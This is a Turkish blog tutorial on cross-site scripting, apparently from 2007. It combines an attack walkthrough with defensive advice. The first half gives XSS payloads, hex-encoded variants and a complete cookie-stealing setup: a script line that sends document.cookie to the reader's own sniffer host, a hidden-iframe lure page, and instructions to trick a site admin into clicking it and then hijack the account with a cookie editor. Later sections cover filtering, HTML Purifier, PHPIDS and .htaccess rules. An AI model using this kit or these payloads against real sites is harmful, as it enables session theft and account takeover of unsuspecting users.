icerige gec

XSS, Cross Site Scripting Nedir, Ne Değildir? Kullanımı ve Korunma Yolları

Eylül 25, 2007 yazan eno7

Aynı zamanda "XSS" olarak da bilinen "Cross Site Scripting" bilinenin aksine çok eski bir açıktır. Fakat günümüzde hala en büyük sitelerde bile bu açığa rastlamaktayız. Dökümanın ortalarında Türkiye'nin en büyük sitelerinden bir tanesinde bu açık ile en basit şekilde neler yapılabildiğini video ile göstericem.

 

 

 

 

Web uygulamarının sebebiyet verdiği bu açık sayesinde saldırgan hazırladığı zararlı kodları yine kendi hazırladığı bir sayfaya saklayarak, hedefteki kullanıcıyı bu sayfaya yönlendirmesiyle veya yönlendirmeden o esnada aralarında iletişim için kullandıkları web uygulamasının arka planına saklayarak hedefteki kullanıcıya iletmesi ile meydana gelir. Kullanıcı bu sırada hiçbirşeyin farkına varmaz fakat o esnada oturum bilgileri gibi pek çok önemli bilgisi saldırganın istediği bir sayfaya kaydedilir.

Bu açığı bulmak kolay olduğu gibi açığın kapatılmasıda kolaydır. Genellikle POST ve GET metodlarının kullanıldığı bölümlerde bulunur. Arama, galeri, mesajlar, haberler, üyelikler, kategoriler, yorumlar gibi kısımlara XSS kodumuzu enjekte ederek test edebilirsiniz.

Örnek vermek gerekirse, test için en çok kullanılan XSS kodları:


CODE:

  1. "><script>alert(1)</script>

  2. http://www.site.com/index.php?s="><script>alert(1)</script>

  3. "><script>alert(document.cookie)</script>

  4. http://www.site.com/index.php?cat="><script>alert(document.cookie)</script>

  5. ');alert('own');//

  6. http://www.site.com/index.php?search=');alert('own');//

  7. "><script/src=http://site.com/xss.js></script>

  8. http://www.site.com/gallery.asp?c="><script/src=http://site.com/xss.js></script>

  9. ><script>alert('XSS Vulnerable')</script><b a=a

  10. http://www.site.com/members.php?id=><script>alert('XSS Vulnerable')</script><b a=a

 

Üstteki kodlardan bir tanesini kullanarak XSS açığının olup olmadığını bir sitede kontrol ettim.

 

Üstteki resimde de görüldüğü gibi XSS kodumuzu denedikten sonra ekrana bizim cookie bilgilerimizi yansıttı. Bu da bize sitede XSS açığının olduğunu gösteriyor. Bu açık site sahibinin ve diğer kullanıcıların cookielerini almamıza olanak sağlar. Böylece onların yetkileriyle siteye giriş yapabiliriz.

 

Bu kodlardan daha fazla edinmek isterseniz tam bir XSS Kod Kütüphanesi olan sitemin "XSS Attack Database" bölümünü ziyaret edebilirsiniz. (http://www.eno7.org/xssdb/xssdb.html)

Saldırgan XSS kodlarını çoğunlukla bu taglar sayesinde enjekte edebilir.


CODE:

  1. <script>, <embed>, <object>, ve <applet>


Flash ile yapılan bir XSS saldırısından örnek vermek gerekirse burada XSS kodumuzu flash ile


CODE:

  1. getURL()


değeriyle çağırırız yani


CODE:

  1. getURL("http://www.eno7.org")

  2. yerine

  3. getURL("javascript:alert(document.cookie)")


şeklinde kullanırsak kullanıcının browser'ında XSS kodumuzu çalıştırabiliriz.

Bu saldırı şeklinde


CODE:

  1. <object> veya <embed>


taglarını kullanıyoruz, yine örnek vermek gerekirse


CODE:

  1. <embed

  2. src="http://www.siteniz.com/hazirladiginiz-flash.swf" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?

  3. P1_Prod_Version=ShockwaveFlash"

  4. type="application/x-shockwave-flash"

  5. width="100"

  6. height="100">

  7. </embed>


bu şekilde kullanmak mümkün olur.

Bazı sitelerde XSS kodlarını HEX'e çevirerek enjekte etmek gerekebilir. Bu durumlarda sitemin "Character Encoding" bölümünden XSS kodlarınızı HEX değerine çevirerek enjekte edebilirsiniz. (http://www.eno7.org/character-encoding/encode.html)

Üstte verdiğim ilk üç sıradaki XSS kodlarının HEX'e çevirilmiş halleri altta yer almaktadır.


URL:
Hex Value


CODE:

  1. "><script>alert(1)</script>

  2. %22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E

  3. "><script>alert(document.cookie)</script>

  4. %22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E

  5. ');alert('own');//

  6. %27%29%3B%61%6C%65%72%74%28%27%6F%77%6E%27%29%3B%2F%2F

Web programcıları tarafından göz ardı edilen bazı kodlamalar bu açığın kullanımına davetiye çıkartmakta. Açığı kapatmak tekrar kodlamaları gözden geçirip düzeltilmesiyle mümkün olur veya aşağıda anlatacağım teknikle bu açıklardan daha sağlam bir şekilde korunabilirsiniz.

 

Webmasterlar her zaman ziyaretçilerinin yaptığı tüm sorgulamaları veya tüm gönderileri mutlaka bir filtreden geçirmesi gerekmektedir. Bu bazen bir yorum olur, bir özel mesaj olur hatta bu kodların filtrelenmediği bir forumda imzaya saklanan bir kod olur veya geçen bir konuda bahsetmiştim, yüklenen bir resim bile eğer filtrelemeden geçmiyorsa bu açığın kullanımına yol açar. (bkz: Resim Yükleyerek XSS) (http://www.eno7.org/guvenlik-aciklari/resim-yukleyerek-xss.pl)


Resim Yükleyerek XSS konusundan burada da kısaca bahsetmek gerekirse, kullanıcı önce bu şekilde resmi adlandırarak upload eder.


CODE:

  1. http://www.eno7.org/files/'onerror='alert('XSS-CODE')'warn='.gif


Daha sonra test için şöyle bir sayfa oluşturarak kontrol edebilirsiniz. Şu kodları "html" olarak kaydedin.


CODE:

  1. <IMG src="http://www.eno7.org/files/"onerror="alert('XSS-CODE')"warn=".gif">


Üstte de belirttiğimiz gibi kullanıcı tarafından yollanan her gönderinin filtrelemeden geçirilmesi şart.

Saldırganın enjekte etmeye çalışacağı karakterleri aynı zamanda HEX'e dönüştüreceğini düşünerek, filtrelenmesi gereken bu karakterleri HEX kodlarıyla beraber altta belirttim..

CODE:

  1. ; / ? : @ = & <> “ # { } | \ ^ ~ [ ] ` % ‘


CODE:

  1. %3b %2f %3f %3a %40 %3d %26 %3c %3e %22 %23 %7b %7d %7c %5c %5e %7e %5b %5d %60 %25 %27


Bu tarz bir filtreleme yapıldığında, kullanıcı tarafından enjekte edilmeye çalışılan zararlı kodlar pasifize edilmiş olacaktır. Dökümanın devamında bu saldırılardan nasıl korunulacağını detaylı bir şekilde anlatacağım.

Bu açıkların bulunduğu siteleri hiç uğraşmadan bulmak isterseniz. Bir arkadaşımın açtığı ve başarılı bir proje olarak gördüğüm "XSSED" (http://www.xssed.com) sitesini ziyaret edebilirsiniz.


Saldırgan genelde bu açığı kullanmak için size bir link yollar, kullandığınız mail servisinde bu açıktan bulunuyorsa size bu linki mail aracılığı ile yollar ve linke direk tıklamanız halinde cookie bilgileriniz saldırganın istediği bir sayfaya yazılır. Mailinize gelen linklere direk tıklamak yerine mümkünse bilgisayarınızda iki tane browser kullanıyorsanız (internet explorer ve firefox gibi) bu linke, mailinize giriş yapmadığınız diğer browserdan yani mailinizin cookie bilgilerinin saklanmadığı browserdan girilmesi sizi bu tehlikeden korur. Ama bu mümkün değilse bu linke direk tıklamadan, linki kopyalayıp yeni bir internet sayfası açarak girmek daha uygundur.


Dökümanın başında belirtmiştim. Bu açığı Türkiye'nin en büyük sitelerinden birinde test ettim ve bu açıktan nasıl yararlanıldığı herkesin anlayacağı bir şekilde video'da anlatmaya çalıştım. Video'da deneme yaptığım sitenin açığı karşılıklı telefon ve mail görüşmelerimiz sonucu kapatılmıştır. Burada görmenizi istediğim şey, XSS açığının kesinlikle küçümsenmeyecek bir açık olduğu ve bu açıkla en basit şekilde neler yapılabildiği.

Video Adresi (968kb)

http://xssxssxss.sitemynet.com/gg.html

Download Video (968kb)

http://rapidshare.com/files/155874647/gg.rar.html

Şimdi bu açığın nasıl kullanıldığını görelim. Video'da da görüldüğü gibi kaydedilen cookie'leri görebilmemiz için bir "log" dosyamız olması gerekiyor. Gerekli olan gereçleri önce bu adresten indirin.

Download Sniffer

http://rapidshare.com/files/155874832/sniffer.rar.html

Dosyamızı indirip klasöre açalım, değişiklik yapacağımız dosyalar sırasıyla "cdr.js" ve karşı tarafa yollayacağınız link olan "pardus.html" ben deneme için pardus olarak adlandırdım siz istediğiniz şekilde yapabilirsiniz.

"cdr.js" dosyasını bir metin belgesiyle açın, dosyada "siteniz.com" yazan yere "sniffer" klasörünü upload ettiğiniz internet adresini yazacaksınız.


CODE:

  1. i=new/**/Image();i.src='http://www.siteniz.com/sniffer/s.php?'+document.cookie


Yine aynı şekilde "pardus.html" dosyasını bir metin belgesiyle açın.


CODE:

  1. <script>document.write('<iframe name="I1" src="http://www.xss-acigi-olan-site.com/index.php?s=httpFrom=%22%3E%3CSCRIPT%20SRC=http://www.siteniz.com/sniffer/cdr.js%3E%3C/SCRIPT%3E" height="1" width="1" frameborder="0" marginwidth="1" marginheight="1" style="position: absolute; left: 0; top: 0"> hi</iframe>')


Dosyada "xss-acigi-olan-site.com/index.php?s=" yazan yere sitede "XSS" açığının bulunduğu yeri tam olarak yazıyorsunuz yani açığın bulunduğu bölümü "httpFrom" yazan yere kadar yazıyorsunuz.


Daha sonra yine aynı dosyada "siteniz.com/sniffer/cdr.js" yazan yere ise "sniffer" klasörünü upload ettiğiniz internet adresini yazıyorsunuz yani "cdr.js" dosyasının bulunduğu adresi tam olarak yazıyorsunuz.


Bu işlemler tamamsa "sniffer" klasörünü bir siteye upload edin, ilk önce "sniffer" klasöründe bulunan "cookie" bilgilerinin yazılacağı "data.txt" dosyasının izinlerini CHMOD 777 yapın. Herkesin anlayabilmesi için bu bölümleri ayrıntılı anlatıyorum. "CHMOD" izinlerini FTP programınız ile yapabilirsiniz. CuteFTP programında dosyanın üzerine "sağ click" yapın "Properties / CHMOD" yazan yere tıklayın ve açılan pencerede "Permissions" yazan yerin karşısındaki kutucuğa 777 yazın ve tamam diyerek çıkın.

Şimdi yapacağınız tek şey "XSS" açığını bulduğunuz sitenin, forumun veya mail servisinin neyse o sitenin kullanıcısına genellikle sitenin adminine "pardus.html" dosyasının linkini göndereceksiniz.


http://www.site.com/pardus.html gibi burada dosya adını değiştirebilirsiniz. Size kalan bu linki karşı tarafa zekice yollayarak, yolladığınız kişinin bu linke tıklamasını sağlamak. Yolladığınız kişi linke tıkladıysa "cookie" bilgileri "log" dosyasında görülecektir.

Burada "log" dosyasının herkes tarafından görünmesini istemeyebilirsiniz. Bunun için "log" dosyasına ulaşmak için bir "login" ekranı koyabiliriz. "log.php" dosyasını bir metin belgesiyle açın ve sayfanın en başında olan


CODE:

  1. <?


karakterlerden bir satır aşağıdan veya bir boşluk bırakarak alttaki kodları yapıştırın.


CODE:

  1. $ourLogin = "kullanici-adi";$ourPassword = "sifre";session_start();if ($_SESSION['login']!=$ourLogin && $_SESSION['password']!=$ourPassword) {if ($_POST['login']==$ourLogin && $_POST['password']==$ourPassword) {$_SESSION['login'] = $_POST['login'];$_SESSION['password'] = $_POST['password'];header("Location: log.php");}else {echo "<form action=log.php method=post><center>Login...</br>Username:<br><input type=text name=login value=''><br>Password:<br><input type=password name=password value=''><br><input type=submit value='Login'></form> </center>";exit;}}


Kodlarda "kullanici-adi" yazan yere giriş yaparken kullanacağınız kullanıcı ismini, "sifre" yazan yere de giriş için kullanacığınız şifreyi yazacaksınız.

Herşey tamamsa, gelen cookieleri kendi cookieniz ile değiştirip o kullanıcının hesabına girebilirsiniz.

Cookieleri değiştirmek için "Cookie Editor" programını kullanabilirsiniz.

Download Cookie Editor

http://www.proxoft.com/downloads/cookieeditorsetup.exe

Eğer Firefox kullanıyorsanız "Cookie Editor" eklentisini Firefox'a kurarak kullanabilirsiniz.

Install Cookie Editor For Firefox

https://addons.mozilla.org/en-US/firefox/addon/573

Şimdi Bu Açıktan Web Sitelerimizi Nasıl Koruyacağımıza Değinelim


Dökümanın ortalarında belirttiğim kodların filtrelenmesiyle önlemini almanız mümkün ama birazdan göstereceğim şekilde daha iyi bir güvenlik sağlarsınız.

Bu açıktan korunmak için sitemizde kullanacağımız bileşen "HTML Purifier" PHP dilinde yazılmış bir HTML filtre kütüphanesi. Bununla sitenize enjekte edilmeye çalışılan ve şu ana kadar bilinen tüm XSS kodlarını zararsız hale getirirsiniz.

Sitenin "Demo" (http://htmlpurifier.org/demo.php) bölümünden filtrelemeyi test edebilirsiniz. Test etmek istediğiniz kodları belirtilen yere girip nasıl filtrelendiğini görmeniz mümkün.


Sitemizde Nasıl Kullanacağımıza Bakalım


Önce "HTML Purifier" bileşenini download ediyoruz.

Download HTML Purifier

http://htmlpurifier.org/download.html

Daha sonra zip'den çıkarıp sitemize upload ediyoruz, sitemizde kullanabilmemiz için ise sitemizin "config" dosyasına veya "config" dosyasından "require_once" ile çağırdığımız dosyaya alttaki kodumuzu yerleştiriyoruz "include" ediyoruz.

Eğer websitenizde UTF-8 ve XHTML kodlaması kullanıyorsanız bu kodu kullanın:


CODE:

  1. <?php

  2. require_once '/path/to/htmlpurifier/library/HTMLPurifier.auto.php';

  3. $purifier = new HTMLPurifier();

  4. $clean_html = $purifier->purify($dirty_html);

  5. ?>

Eğer sitenizde farklı bir kodlama kullanıyorsanız bu kodu kullanın:


CODE:

  1. <?php

  2. require_once '/path/to/htmlpurifier/library/HTMLPurifier.auto.php';

  3. $config = HTMLPurifier_Config::createDefault();

  4. $config->set('Core', 'Encoding', 'ISO-8859-1'); // replace with your encoding

  5. $config->set('HTML', 'Doctype', 'HTML 4.01 Transitional'); // replace with your doctype

  6. $purifier = new HTMLPurifier($config);

  7. $clean_html = $purifier->purify($dirty_html);

  8. ?>

Üstteki kodlarda "/path/to/htmlpurifier/" yazan yere "htmlpurifier" klasörünün serverda bulunan tam yolunu yazacaksınız "/home/vhosts/site.com/public_html/htmlpurifier/" gibi. Fakat önce "/library/HTMLPurifier/DefinitionCache/Serializer" bu yolun server tarafından yazılabilir olduğundan emin olun. Önce CHMOD'u 755 olarak ayarlayın eğer çalışmazsa 777 olarak ayarlayın. Kurulum ile ilgili ayrıntılı bilgi için bileşenin resmi sitesini ziyaret edebilirsiniz. (http://htmlpurifier.org/svnroot/htmlpurifier/tags/2.1.2/INSTALL)

"HTML Purifier" bileşenini "CMS" ve diğer hazır sistemlerde kullanmak isterseniz alttaki pluginleri-eklentileri belirtilen sistemler için kullanabilirsiniz. Wordpress için yapılmış olan eklentiden geçenlerde sitemde bahsetmiştim, o konuya buradan ulaşabilirsiniz. (http://www.eno7.org/advisories/blogunuzu-tum-xss-saldirilarina-karsi-koruyun.pl)

Phorum
(http://www.phorum.org/phorum5/read.php?16,122766)

MODx
(http://htmlpurifier.org/svnroot/htmlpurifier/trunk/plugins/modx.txt)

Drupal
(http://bart.motd.be/projects/html-purifier-drupal-module)

Wordpress
(http://urbangiraffe.com/plugins/html-purified/)

CodeIgniter
(http://www.mindloop.be/nieuws/nieuwe-ontwikkelingen/htmlpurifier-and-the-codeigniter-framework/)

Bu Açıktan Korunmak İçin Diğer Alternatifler


"HTML Purifier" gibi olan bir diğer web uygulaması "PHPIDS" bu bileşenle de XSS saldırılarından korunmak mümkün.

Önce bu adresten "PHPIDS" uygulamasını download ediyoruz.

Download PHPIDS

http://php-ids.org/downloads/

Daha sonra zipden çıkarıp sitemize upload ediyoruz. Üstte "HTML Purifier" de olduğu gibi alttaki kodları "include" ediyoruz.


CODE:

  1. set_include_path(

  2. get_include_path()

  3. . PATH_SEPARATOR

  4. . 'path/to/phpids/lib'

  5. );

  6. require_once 'IDS/Monitor.php';

  7. require_once 'IDS/Filter/Storage.php';

  8. $storage = new IDS_Filter_Storage();

  9. $storage->getFilterFromXML('/path/to/default_filter.xml');

  10. $request = new IDS_Monitor($_GET, $storage);

  11. $result = $request->run();

  12. if (!$result->isEmpty()) {

  13. // Take a look at the result object

  14. var_dump($result);

  15. }


Kurulumla ilgili daha ayrıntılı bilgi almak için PHPIDS'in resmi sayfasını ziyaret edebilirsiniz. (http://php-ids.org/faq/)

Bunda da "CMS" ve diğer hazır sistemlerde kullanmak üzere pluginler-eklentiler mevcut alttaki adreslerden belirtilen sistemler için olanları kullanabilirsiniz.

Wordpress Plugins
http://php-ids.org/files/wp-ids.zip

Wordpress için bir diğer alternatif plugin
http://wwwu.edu.uni-klu.ac.at/hbeyer/wp/2007/08/25/phpids-for-wordpress/

Drupal
http://drupal.org/project/phpids

"PHPIDS" uygulamasında da zararlı kodların nasıl tanındığını "demo" sayfasından test edebilirsiniz. (http://demo.php-ids.org/)

 

".htaccess" İle Korunma


Bir diğer korunma yolu da ".htaccess" dosyasının yapılandırılmasıyla mevcut. Alttaki kodları sitenizin kök dizininde bulunan veya scriptinizin bulunduğu dizindeki ".htaccess" dosyasına ekleyin. Böylelikle sitenize yapılan herhangi bir XSS saldırısında siteniz hata sayfası vererek erişimi engelleyecek.


CODE:

  1. RewriteEngine On

  2. RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]

  3. RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]

  4. RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]

  5. RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})

  6. RewriteRule ^(.*)$ index.php [F,L]

 

Kaynak: eno7 | http://eno7.org

Yorumlar

xss

Mart 20, 2013 yazan xyzt, 4 yıl 14 hafta önce
Comment: 461

Verdiğiniz link ve resimleri güncelleyebilir misiniz?